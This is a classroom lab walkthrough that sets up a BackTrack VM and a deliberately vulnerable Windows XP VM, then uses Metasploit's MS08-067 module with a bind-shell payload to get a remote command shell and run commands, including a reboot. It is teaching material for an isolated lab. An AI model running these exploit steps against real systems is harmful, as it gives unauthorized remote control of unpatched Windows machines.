(Metasploit: MS08-067)

{ BackTrack5R1: Establishing A Shell To The Vulnerable

Machine }

0. Background Information
1. http://www.microsoft.com/technet/security/bulletin/ms
08-067.mspx
o The vulnerability could allow remote code
execution if an affected system received a
specially crafted RPC request. On Microsoft
Windows 2000, Windows XP, and Windows Server 2003
systems, an attacker could exploit this
vulnerability without authentication to run
arbitrary code. It is possible that this
vulnerability could be used in the crafting of a
wormable exploit.
o Firewall best practices and standard default
firewall configurations can help protect network
resources from attacks that originate outside the
enterprise perimeter.

2. Pre-Requisite
o BackTrack: Lesson 1: Installing BackTrack 5 R1

3. Lab Notes
o In this lab we will do the following:
1. Start up the Metasploit Framework msfconsole
2. We will use the msfconsole to obtain a shell
as the admin user on the Damn Vulnerable
WXP-SP2 machine.

4. Legal Disclaimer
o As a condition of your use of this Web site, you
warrant to computersecuritystudent.com that you
will not use this Web site for any purpose that
is unlawful or that is prohibited by these terms,
conditions, and notices.
o In accordance with UCC 2-316, this product is
provided with "no warranties, either express or
implied." The information contained is provided
"as-is", with "no guarantee of merchantability."
o In addition, this is a teaching website that does
not condone malicious behavior of any kind.
o Your are on notice, that continuing and/or using
this lab outside your "own" test environment is
considered malicious and is against the law.
o 2013 No content replication of any kind is
allowed without express written permission.

1. Log into Damn Vulnerable WXP-SP2
1. Edit Virtual Machine Settings
o Instructions:
1. Click on Damn Vulnerable WXP-SP2
2. Edit Virtual Machine Settings
o Note:
This VM is running Windows XP.
This is the Victim Machine that we will be
scanning with PENTEST-WXP.
o

2. Set Network Adapter
o Instructions:
0. Click on Network Adapter
1. Click on the radio button "Bridged:
Connected directly to the physical network".
o

3. Start Up Damn Vulnerable WXP-SP2.
o Instructions:
0. Start Up your VMware Player
1. Play virtual machine
o

4. Logging into Damn Vulnerable WXP-SP2.
o Instructions:
0. Username: administrator
1. Password: Use the Class Password or whatever
you set it.
o

5. Open a Command Prompt
o Instructions:
0. Start --> All Programs --> Accessories -->
Command Prompt
o

6. Obtain the IP Address
o Instructions:
0. ipconfig
o Note(FYI):
In my case, Damn Vulnerable WXP-SP2's IP
Address 192.168.1.116.
This is the IP Address of the Victim
Machine.
Record your IP Address.
o

2. Log into BackTrack5
1. Start Up VMWare Player
o Instructions:
1. Click the Start Button
2. Type Vmplayer in the search box
3. Click on Vmplayer
o

2. Open a Virtual Machine
o Instructions:
1. Click on Open a Virtual Machine
o

3. Open the BackTrack5R1 VM
o Instructions:
1. Navigate to where the BackTrack5R1 VM is
located
2. Click on on the BackTrack5R1 VM
3. Click on the Open Button
o

4. Edit the BackTrack5R1 VM
o Instructions:
1. Select BackTrack5R1 VM
2. Click Edit virtual machine settings
o

5. Edit Virtual Machine Settings
o Instructions:
1. Click on Network Adapter
2. Click on the Bridged Radio button
3. Click on the OK Button
o

6. Play the BackTrack5R1 VM
o Instructions:
1. Click on the BackTrack5R1 VM
2. Click on Play virtual machine
o

7. Login to BackTrack
o Instructions:
1. Login: root
2. Password: toor or <whatever you changed it
to>.
o

8. Bring up the GNOME
o Instructions:
1. Type startx
o

9. Start up a terminal window
o Instructions:
1. Click on the Terminal Window
o

10. Obtain the IP Address
o Instructions:
1. ifconfig -a
o Note(FYI):
My IP address 192.168.1.111.
In your case, it will probably be different.
o

3. Starting up the Metasploit MSF Console
1. Start Up Metasploit msfconsole
o Instructions:
1. msfconsole
o Note(FYI):
Metasploit takes about 5 to 20 seconds to
start up.
o

2. msfconsole screen
o Note(FYI):
Your msfconsole will probably have a
different picture than mine.
o

3. Search for the MS08-067 Exploit
o Instructions:
0. search ms08_067
o

4. Use exploit MS08-067 Exploit
o Instructions:
0. use exploit/windows/smb/ms08_067_netapi
o

5. Show Payloads
o Instructions:
0. show payloads
o

6. Set Payloads
o Instructions:
0. set PAYLOAD windows/shell_bind_tcp
o Note(FYI):
This Payload creates Windows Command Shell
and Bind TCP Inline
o

7. Show Options
o Instructions:
0. show options
o Note(FYI):
Notice the Required Column. RPORT and
SMBPIPE are already populated, but RHOST is
not.
In the next step, you will populate RHOST
with the IP Address of WindowsVulnerable01.
o

8. Set RHOST and Verify Show Options
o Note:
Replace 192.168.1.116 with your
WindowsVulnerable01's IP Address obtained in
(Section 1, Step 4).
o Instructions:
0. set RHOST 192.168.1.116
1. show options
o

9. Exploit the Victim Machine
o Instructions:
0. exploit
o Note(FYI):
If the exploit worked you should see a
command prompt into the victim machine.
(See Below).
o

10. Issue the systeminfo command
o Instructions:
0. systeminfo
o Note:
This is the system information report for
Windows.
o

11. Issue the tasklist command
o Instructions:
0. tasklist
o Note:
This is the command line version of Task
Manager in Windows.
o

4. Proof of Lab
1. Proof of Lab
o Instructions:
1. netstat -nao | findstr 4444
Record the Process ID. (See Picture
Below).
In my case, the Process ID is 1104.
2. tasklist | findstr 1104
Replace 1104, with your Process ID.
3. date /t
4. echo "Your Name"
This should be your actual name.
e.g., echo "John Gray"
o Proof of Lab Instructions:
1. Do a PrtScn
2. Paste into a word document
3. Upload to Moodle.
o

2. Issue the shutdown command
o Instructions:
1. shutdown -r
o Note(FYI):
This will reboot the victim windows machine.
Go ahead and check out what popped up on
your victim windows machine.
Continue to the next step.
o

3. System Shutdown Message.
o Note(FYI):
You should now see a "System Shutdown"
message similar to the below.
o